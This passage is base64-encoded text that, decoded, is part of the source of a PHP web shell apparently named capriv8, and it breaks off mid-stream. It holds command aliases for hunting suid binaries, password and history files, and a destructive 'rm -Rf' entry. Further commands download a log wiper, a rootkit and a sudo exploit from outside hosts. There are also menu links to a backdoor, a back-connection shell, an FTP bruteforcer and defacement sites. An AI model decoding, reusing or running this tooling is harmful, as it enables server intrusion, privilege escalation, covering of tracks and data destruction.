ZCIpLA0KICAgICJpbmkiPT5hcnJheSgiaW5pIiwiaW5mIiwiY29uZiIpLA0KICAgICJjb2RlIj0+YXJyYXkoInBocCIsInBodG1sIiwicGhwMyIsInBocDQiLCJpbmMiLCJ0Y2wiLCJoIiwiYyIsImNwcCIsInB5IiwiY2dpIiwicGwiKSwNCiAgICAiaW1nIj0+YXJyYXkoImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBnIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwidGlmZiIsImF2aSIsIm1wZyIsIm1wZWciKSwNCiAgICAic2RiIj0+YXJyYXkoInNkYiIpLA0KICAgICJwaHBzZXNzIj0+YXJyYXkoInNlc3MiKSwNCiAgICAiZG93bmxvYWQiPT5hcnJheSgiZXhlIiwiY29tIiwicGlmIiwic3JjIiwibG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0YXIiKQ0KKTsNCiRleGVmdHlwZXMgID0gYXJyYXkoDQogICAgZ2V0ZW52KCJQSFBSQyIpLiIgLXEgJWYlIiA9PiBhcnJheSgicGhwIiwicGhwMyIsInBocDQiKSwNCiAgICAicGVybCAlZiUiID0+IGFycmF5KCJwbCIsImNnaSIpDQopOw0KJHJlZ3hwX2hpZ2hsaWdodCAgPSBhcnJheSgNCiAgICBhcnJheShiYXNlbmFtZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSksMSwiPGZvbnQgY29sb3I9I0ZGRkYwMD4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwudGd6JCIsMSwiPGZvbnQgY29sb3I9I0MwODJGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuZ3okIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC50YXIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5iejIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC56aXAkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5yYXIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5waHAkIiwxLCI8Zm9udCBjb2xvcj0jMDBGRjAwPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5waHAzJCIsMSwiPGZvbnQgY29sb3I9IzAwRkYwMD4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwucGhwNCQiLDEsIjxmb250IGNvbG9yPSMwMEZGMDA+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLmpwZyQiLDEsIjxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLmpwZWckIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5KUEckIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5KUEVHJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaWNvJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuZ2lmJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwucG5nJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaHRtJCIsMSwiPGZvbnQgY29sb3I9IzAwQ0NGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaHRtbCQiLDEsIjxmb250IGNvbG9yPSMwMENDRkY+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLnR4dCQiLDEsIjxmb250IGNvbG9yPSNDMEMwQzA+IiwiPC9mb250PiIpDQopOw0KaWYgKCEkd2luKSB7DQogICRjbWRhbGlhc2VzID0gYXJyYXkoDQogICAgYXJyYXkoImxzIC1sYSIsICJscyAtbGEiKSwNCiAgICBhcnJheSgicHMgLXgiLCAicHMgLXgiKSwNCiAgICBhcnJheSgiLS0tLS0iLCAiLS0tLS0iKSwNCiAgICBhcnJheSgiRmluZCBhbGwgc3VpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHNnaWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiksDQogICAgYXJyYXkoIkZpbmQgY29uZmlnKiBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLA0KICAgIGFycmF5KCJGaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiLCAiZmluZCAvIC1wZXJtIC0yIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMiLCAiZmluZCAvIC10eXBlIGQgLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogICAgYXJyYXkoIkZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIpLA0KICAgIGFycmF5KCJGaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogICAgYXJyYXkoIkZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogICAgYXJyYXkoIkZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwNCiAgICBhcnJheSgiRmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksDQogICAgYXJyYXkoIkxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiwgImxzYXR0ciAtdmEiKSwNCiAgICBhcnJheSgiU2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpDQogICk7DQogICRjbWRhbGlhc2VzMiA9IGFycmF5KA0KICAgIGFycmF5KCItLS0tLSIsIiIpLA0KICAgIGFycmF5KCJMb2dnZWQgaW4gdXNlcnMiLCJ3IiksDQogICAgYXJyYXkoIkxhc3QgdG8gY29ubmVjdCIsImxhc3Rsb2ciKSwNCiAgICBhcnJheSgiRmluZCBTdWlkIGJpbnMiLCJmaW5kIC9iaW4gL3Vzci9iaW4gL3Vzci9sb2NhbC9iaW4gL3NiaW4gL3Vzci9zYmluIC91c3IvbG9jYWwvc2JpbiAtcGVybSAtNDAwMCAyPiAvZGV2L251bGwiKSwNCiAgICBhcnJheSgiVXNlciBXaXRob3V0IFBhc3N3b3JkIiwiY3V0IC1kOiAtZjEsMiwzIC9ldGMvcGFzc3dkIHwgZ3JlcCA6OiIpLA0KICAgIGFycmF5KCJDYW4gd3JpdGUgaW4gL2V0Yy8/IiwiZmluZCAvZXRjLyAtdHlwZSBmIC1wZXJtIC1vK3cgMj4gL2Rldi9udWxsIiksDQogICAgYXJyYXkoIkRvd25sb2FkZXJzPyIsIndoaWNoIHdnZXQgY3VybCB3M20gbHlueCBmZXRjaCBsd3AtZG93bmxvYWQiKSwNCiAgICBhcnJheSgiQ1BVIEluZm8iLCJjYXQgL3Byb2MvdmVyc2lvbiAvcHJvYy9jcHVpbmZvIiksDQogICAgYXJyYXkoIklzIGdjYyBpbnN0YWxsZWQgPyIsImxvY2F0ZSBnY2MiKSwNCiAgICBhcnJheSgiRm9ybWF0IGJveCAoREFOR0VST1VTKSIsInJtIC1SZiIpLA0KICAgIGFycmF5KCItLS0tLSIsIiIpLA0KICAgIGFycmF5KCJ3Z2V0IFdJUEVMT0dTIFBUMSIsIndnZXQgaHR0cDovL3d3dy5wYWNrZXRzdG9ybXNlY3VyaXR5Lm9yZy9VTklYL3BlbmV0cmF0aW9uL2xvZy13aXBlcnMvemFwMi5jIiksDQogICAgYXJyYXkoImdjYyBXSVBFTE9HUyBQVDIiLCJnY2MgemFwMi5jIC1vIHphcDIiKSwNCiAgICBhcnJheSgiUnVuIFdJUEVMT0dTIFBUMyIsIi4vemFwMiIpLA0KICAgIGFycmF5KCItLS0tLSIsIiIpLA0KICAgIGFycmF5KCJ3dW5kZXJiYXJfZW1wb3JpdW0gKHd1bmRlcmJhcikiLCJ3Z2V0IGh0dHA6Ly93d3cucGFja2V0c3Rvcm1zZWN1cml0eS5jb20vMDkwOC1leHBsb2l0cy93dW5kZXJiYXJfZW1wb3JpdW0udGd6IiksDQogICAgYXJyYXkoIndnZXQgUmF0SG9sZSAxLjIgKExpbnV4ICYgQlNEKSIsIndnZXQgaHR0cDovL3BhY2tldHN0b3Jtc2VjdXJpdHkub3JnL1VOSVgvcGVuZXRyYXRpb24vcm9vdGtpdHMvcmF0aG9sZS0xLjIudGFyLmd6IiksDQogICAgYXJyYXkoIndnZXQgU3VkbyBFeHBsb2l0Iiwid2dldCBodHRwOi8vd3d3LnNlY3VyaXR5Zm9jdXMuY29tL2RhdGEvdnVsbmVyYWJpbGl0aWVzL2V4cGxvaXRzL3N1ZG8tZXhwbG9pdC5jIiksDQogICk7DQp9DQplbHNlIHsNCiAgJGNtZGFsaWFzZXMgPSBhcnJheSgNCiAgICBhcnJheSgiIiwgImRpciIpLA0KICAgIGFycmF5KCJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIsICJkaXIgL3MgL3cgL2IgaW5kZXgucGhwIiksDQogICAgYXJyYXkoIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiwgImRpciAvcyAvdyAvYiAqY29uZmlnKi5waHAiKSwNCiAgICBhcnJheSgiRmluZCByNTdzaGVsbCBpbiBjdXJyZW50IGRpciIsICJmaW5kIC9jIFwicjU3XCIgKiIpLA0KICAgIGFycmF5KCJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIsICJuZXRzdGF0IC1hbiIpLA0KICAgIGFycmF5KCJTaG93IHJ1bm5pbmcgc2VydmljZXMiLCAibmV0IHN0YXJ0IiksDQogICAgYXJyYXkoIlVzZXIgYWNjb3VudHMiLCAibmV0IHVzZXIiKSwNCiAgICBhcnJheSgiU2hvdyBjb21wdXRlcnMiLCAibmV0IHZpZXciKSwNCiAgICApOw0KfQ0KJHBocGZzYWxpYXNlcyA9IGFycmF5KA0KICAgIGFycmF5KCJSZWFkIEZpbGUiLCAicmVhZCIpLA0KICAgIGFycmF5KCJXcml0ZSBGaWxlIChQSFA1KSIsICJ3cml0ZSIpLA0KICAgIGFycmF5KCJDb3B5IiwgImNvcHkiKSwNCiAgICBhcnJheSgiUmVuYW1lL01vdmUiLCAicmVuYW1lIiksDQogICAgYXJyYXkoIkRlbGV0ZSIsICJkZWxldGUiKSwNCiAgICBhcnJheSgiTWFrZSBEaXIiLCJta2RpciIpLA0KICAgIGFycmF5KCItLS0tLSIsICIiKSwNCiAgICBhcnJheSgiRG93bmxvYWQiLCAiZG93bmxvYWQiKSwNCiAgICBhcnJheSgiRG93bmxvYWQgKEJpbmFyeSBTYWZlKSIsICJkb3dubG9hZGJpbiIpLA0KICAgIGFycmF5KCJDaGFuZ2UgUGVybSAoMDc1NSkiLCAiY2htb2QiKSwNCiAgICBhcnJheSgiRmluZCBXcml0YWJsZSBEaXIiLCAiZndyaXRhYmxlZGlyIiksDQogICAgYXJyYXkoIkZpbmQgUGF0aG5hbWUgUGF0dGVybiIsICJnbG9iIiksDQopOw0KDQokcXVpY2tsYXVuY2gxID0gYXJyYXkoDQoJYXJyYXkoIltIb21lXSIsJHN1cmwuIj1pbWcmaW1nPWhvbWUiKSwNCiAgICBhcnJheSgiW01kNS1DcmFja10iLCJodHRwOi8vd3d3Lmhhc2hjaGVja2VyLmRlL2ZpbmQuaHRtbCIpLA0KICAgIGFycmF5KCJbaW5qZWtdIiwiaHR0cDovL3Rvb2xzLmtlcmluY2kubmV0Lz94PWluamVjdG9yIiksDQogICAgYXJyYXkoIltlc3Bsb2l0XSIsImh0dHA6Ly93d3cyLnBhY2tldHN0b3Jtc2VjdXJpdHkub3JnL2NnaS1iaW4vc2VhcmNoL3NlYXJjaC5jZ2k/c2VhcmNodmFsdWU9TGludXgrS2VybmVsIiksDQogICAgYXJyYXkoIltwM3Azc10iLCJodHRwOi8vSW5kb25lc2lhbmRlZmFjZXIub3JnIiksDQogICAgYXJyYXkoIlt6b25lLWhdIiwiaHR0cDovL3pvbmUtaC5vcmcvIiksDQogICAgYXJyYXkoIltBZG1pbl0iLCJodHRwOi8vamF0aW1jcmV3Lm9yZyIpLA0KKTsNCiRxdWlja2xhdW5jaDIgPSBhcnJheSgNCglhcnJheSgiW0ZUUCBCdXRlZm9yY2VyXSIsJHN1cmwuIng9ZnRwcXVpY2ticnV0ZSIpLA0KICAgIGFycmF5KCJbU2VjdXJpdHkgSW5mb10iLCRzdXJsLiJ4PXNlY3VyaXR5JmQ9JWQiKSwNCiAgICBhcnJheSgiW1Byb2Nlc3Nlc10iLCRzdXJsLiJ4PXByb2Nlc3NlcyZkPSVkIiksDQogICAgYXJyYXkoIltNeVNRTF0iLCRzdXJsLiJ4PXNxbCZkPSVkIiksDQogICAgYXJyYXkoIltQSFAtQ29kZV0iLCRzdXJsLiJ4PWV2YWwmZD0lZCIpLA0KICAgIGFycmF5KCJbQmFja2Rvb3JdIiwkc3VybC4ieD1zaGJkIiksDQogICAgYXJyYXkoIltCYWNrLUNvbm5lY3Rpb25dIiwkc3VybC4ieD1iYWNrYyIpDQopOw0KDQoNCiRoaWdobGlnaHRfYmFja2dyb3VuZCA9ICIjMDAwMDAwIjsNCiRoaWdobGlnaHRfYmcgPSAid2hpdGUiOw0KJGhpZ2hsaWdodF9jb21tZW50ID0gIiMwMEZGMDAiOw0KJGhpZ2hsaWdodF9kZWZhdWx0ID0gIm9yYW5nZSI7DQokaGlnaGxpZ2h0X2h0bWwgPSAibGlnaHRibHVlIjsNCiRoaWdobGlnaHRfa2V5d29yZCA9ICJsaW1lIjsNCiRoaWdobGlnaHRfc3RyaW5nID0gInJlZCI7DQoNCkAkZiA9ICRfUkVRVUVTVFsiZiJdOw0KQGV4dHJhY3QoJF9SRVFVRVNUWyJjYXByaXY4Y29vayJdKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCiR0bXAgPSBhcnJheSgpOw0KZm9yZWFjaCAoJGhvc3RfYWxsb3cgYXMgJGs9PiR2KSB7ICR0bXBbXSA9IHN0cl9yZXBsYWNlKCJcXCoiLCIuKiIscHJlZ19xdW90ZSgkdikpOyB9DQokcyA9ICIhXigiLmltcGxvZGUoInwiLCR0bXApLiIpJCFpIjsNCmlmICghcHJlZ19tYXRjaCgkcyxnZXRlbnYoIlJFTU9URV9BRERSIikpIGFuZCAhcHJlZ19tYXRjaCgkcyxnZXRob3N0YnlhZGRyKGdldGVudigiUkVNT1RFX0FERFIiKSkpKSB7DQogIGV4aXQoIjxhIGhyZWY9XCIkc2hfbWFpbnVybFwiPiRzaF9uYW1lPC9hPjogQWNjZXNzIERlbmllZCAtIFlvdXIgaG9zdCAoIi5nZXRlbnYoIlJFTU9URV9BRERSIikuIikgbm90IGFsbG93ZWQiKTsNCn0NCmlmICghZW1wdHkoJGxvZ2luKSkgew0KICBpZiAoZW1wdHkoJG1kNV9wYXNzKSkgeyRtZDVfcGFzcyA9IG1kNSgkcGFzcyk7fQ0KICBpZiAoKCRfU0VSVkVSWyJQSFBfQVVUSF9VU0VSIl0gIT0gJGxvZ2luKSBvciAobWQ1KCRfU0VSVkVSWyJQSFBfQVVUSF9QVyJdKSAhPSAkbWQ1X3Bhc3MpKSB7DQogICAgaGVhZGVyKCJXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT1cIiIuJHNoX25hbWUuIjogIi4kbG9naW5fdHh0LiJcIiIpOw0KICAgIGhlYWRlcigiSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCIpOw0KICAgIGV4aXQoJGFjY2Vzc2RlbmllZG1lc3MpOw0KICB9DQp9DQppZiAoJHggIT0gImltZyIpIHsNCiAgJGxhc3RkaXIgPSByZWFscGF0aCgiLiIpOw0KICBjaGRpcigkY3VyZGlyKTsNCiAgaWYgKCRzZWxmd3JpdGUpIHsNCiAgICBAb2JfY2xlYW4oKTsNCiAgICBjYXByaXY4X2dldHVwZGF0ZSgkc2VsZndyaXRlLDEpOw0KICAgIGV4aXQ7DQogIH0NCiAgJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk7DQogIGlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vzc19kYXRhID0gYXJyYXkoKTt9DQogIGlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY29weSJdKSkgeyRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5KCk7fQ0KICBpZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTt9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjYWdldHNvdXJjZSIpKSB7DQogICAgZnVuY3Rpb24gY2FnZXRzb3VyY2UoJGZuKSB7DQogICAgICBnbG9iYWwgJGNhcHJpdjhfc291cmNlc3VybDsNCiAgICAgICRhcnJheSA9IGFycmF5KA0KICAgICAgICAiY2Fwcml2OF9iaW5kcG9ydC5wbCIgPT4gImNhcHJpdjhfYmluZHBvcnRfcGwudHh0IiwNCiAgICAgICAgImNhcHJpdjhfYmluZHBvcnQuYyIgPT4gImNhcHJpdjhfYmluZHBvcnRfYy50eHQiLA0KICAgICAgICAiY2Fwcml2OF9iYWNrY29ubi5wbCIgPT4gImNhcHJpdjhfYmFja2Nvbm5fcGwudHh0IiwNCiAgICAgICAgImNhcHJpdjhfYmFja2Nvbm4uYyIgPT4gImNhcHJpdjhfYmFja2Nvbm5fYy50eHQiLA0KICAgICAgICAiY2Fwcml2OF9kYXRhcGlwZS5wbCIgPT4gImNhcHJpdjhfZGF0YXBpcGVfcGwudHh0IiwNCiAgICAgICAgImNhcHJpdjhfZGF0YXBpcGUuYyIgPT4gImNhcHJpdjhfZGF0YXBpcGVfYy50eHQiLA0KICAgICAgKTsNCiAgICAgICRuYW1lID0gJGFycmF5WyRmbl07DQogICAgICBpZiAoJG5hbWUpIHtyZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJGNhcHJpdjhfc291cmNlc3VybC4kbmFtZSk7fQ0KICAgICAgZWxzZSB7cmV0dXJuIEZBTFNFO30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImNhX2J1ZmZfcHJlcGFyZSIpKSB7DQogICAgZnVuY3Rpb24gY2FfYnVmZl9wcmVwYXJlKCkgew0KICAgICAgZ2xvYmFsICRzZXNzX2RhdGE7DQogICAgICBnbG9iYWwgJHg7DQogICAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjb3B5Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fQ0KICAgICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjdXQiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9DQogICAgICAkc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY29weSJdKTsNCiAgICAgICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImN1dCJdKTsNCiAgICAgIHNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsNCiAgICAgIHNvcnQoJHNlc3NfZGF0YVsiY3V0Il0pOw0KICAgICAgaWYgKCR4ICE9ICJjb3B5Iikge2ZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7aWYgKCRzZXNzX2RhdGFbImNvcHkiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTsgfX19DQogICAgICBlbHNlIHtmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHtpZiAoJHNlc3NfZGF0YVsiY3V0Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTt9fX0NCiAgICB9DQogIH0NCiAgY2FfYnVmZl9wcmVwYXJlKCk7DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjYV9zZXNzX3B1dCIpKSB7DQogICAgZnVuY3Rpb24gY2Ffc2Vzc19wdXQoJGRhdGEpIHsNCiAgICAgIGdsb2JhbCAkc2Vzc19jb29raWU7DQogICAgICBnbG9iYWwgJHNlc3NfZGF0YTsNCiAgICAgIGNhX2J1ZmZfcHJlcGFyZSgpOw0KICAgICAgJHNlc3NfZGF0YSA9ICRkYXRhOw0KICAgICAgJGRhdGEgPSBzZXJpYWxpemUoJGRhdGEpOw0KICAgICAgc2V0Y29va2llKCRzZXNzX2Nvb2tpZSwkZGF0YSk7DQogICAgfQ0KICB9DQogIGZvcmVhY2ggKGFycmF5KCJzb3J0Iiwic3FsX3NvcnQiKSBhcyAkdikgew0KICAgIGlmICghZW1wdHkoJF9HRVRbJHZdKSkgeyQkdiA9ICRfR0VUWyR2XTt9DQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJHZdKSkgeyQkdiA9ICRfUE9TVFskdl07fQ0KICB9DQogIGlmICgkc29ydF9zYXZlKSB7DQogICAgaWYgKCFlbXB0eSgkc29ydCkpIHtzZXRjb29raWUoInNvcnQiLCRzb3J0KTt9DQogICAgaWYgKCFlbXB0eSgkc3FsX3NvcnQpKSB7c2V0Y29va2llKCJzcWxfc29ydCIsJHNxbF9zb3J0KTt9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cjJtaW5pIikpIHsNCiAgICBmdW5jdGlvbiBzdHIybWluaSgkY29udGVudCwkbGVuKSB7DQogICAgICBpZiAoc3RybGVuKCRjb250ZW50KSA+ICRsZW4pIHsNCiAgICAgICAgJGxlbiA9IGNlaWwoJGxlbi8yKSAtIDI7DQogICAgICAgIHJldHVybiBzdWJzdHIoJGNvbnRlbnQsIDAsJGxlbikuIi4uLiIuc3Vic3RyKCRjb250ZW50LC0kbGVuKTsNCiAgICAgIH0gZWxzZSB7cmV0dXJuICRjb250ZW50O30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKSB7DQogICAgZnVuY3Rpb24gdmlld19zaXplKCRzaXplKSB7DQogICAgICBpZiAoIWlzX251bWVyaWMoJHNpemUpKSB7IHJldHVybiBGQUxTRTsgfQ0KICAgICAgZWxzZSB7DQogICAgICAgIGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9DQogICAgICAgIGVsc2VpZiAoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NioxMDApLzEwMCAuIiBNQiI7fQ0KICAgICAgICBlbHNlaWYgKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiO30NCiAgICAgICAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KICAgICAgICByZXR1cm4gJHNpemU7DQogICAgICB9DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19jb3B5X2RpciIpKSB7DQogICAgZnVuY3Rpb24gZnNfY29weV9kaXIoJGQsJHQpIHsNCiAgICAgICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiAgICAgIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgICAgICRoID0gb3BlbmRpcigkZCk7DQogICAgICB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkgew0KICAgICAgICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkgew0KICAgICAgICAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9DQogICAgICAgICAgZWxzZSB7JHJldCA9IG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pOyBmc19jb3B5X2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgICAgICAgICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGNsb3NlZGlyKCRoKTsNCiAgICAgIHJldHVybiBUUlVFOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfY29weV9vYmoiKSkgew0KICAgIGZ1bmN0aW9uIGZzX2NvcHlfb2JqKCRkLCR0KSB7DQogICAgICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7DQogICAgICBpZiAoIWlzX2RpcihkaXJuYW1lKCR0KSkpIHtta2RpcihkaXJuYW1lKCR0KSk7fQ0KICAgICAgaWYgKGlzX2RpcigkZCkpIHsNCiAgICAgICAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAgICAgICBpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgIHJldHVybiBmc19jb3B5X2RpcigkZCwkdCk7DQogICAgICB9DQogICAgICBlbHNlaWYgKGlzX2ZpbGUoJGQpKSB7IHJldHVybiBjb3B5KCRkLCR0KTsgfQ0KICAgICAgZWxzZSB7IHJldHVybiBGQUxTRTsgfQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfbW92ZV9ka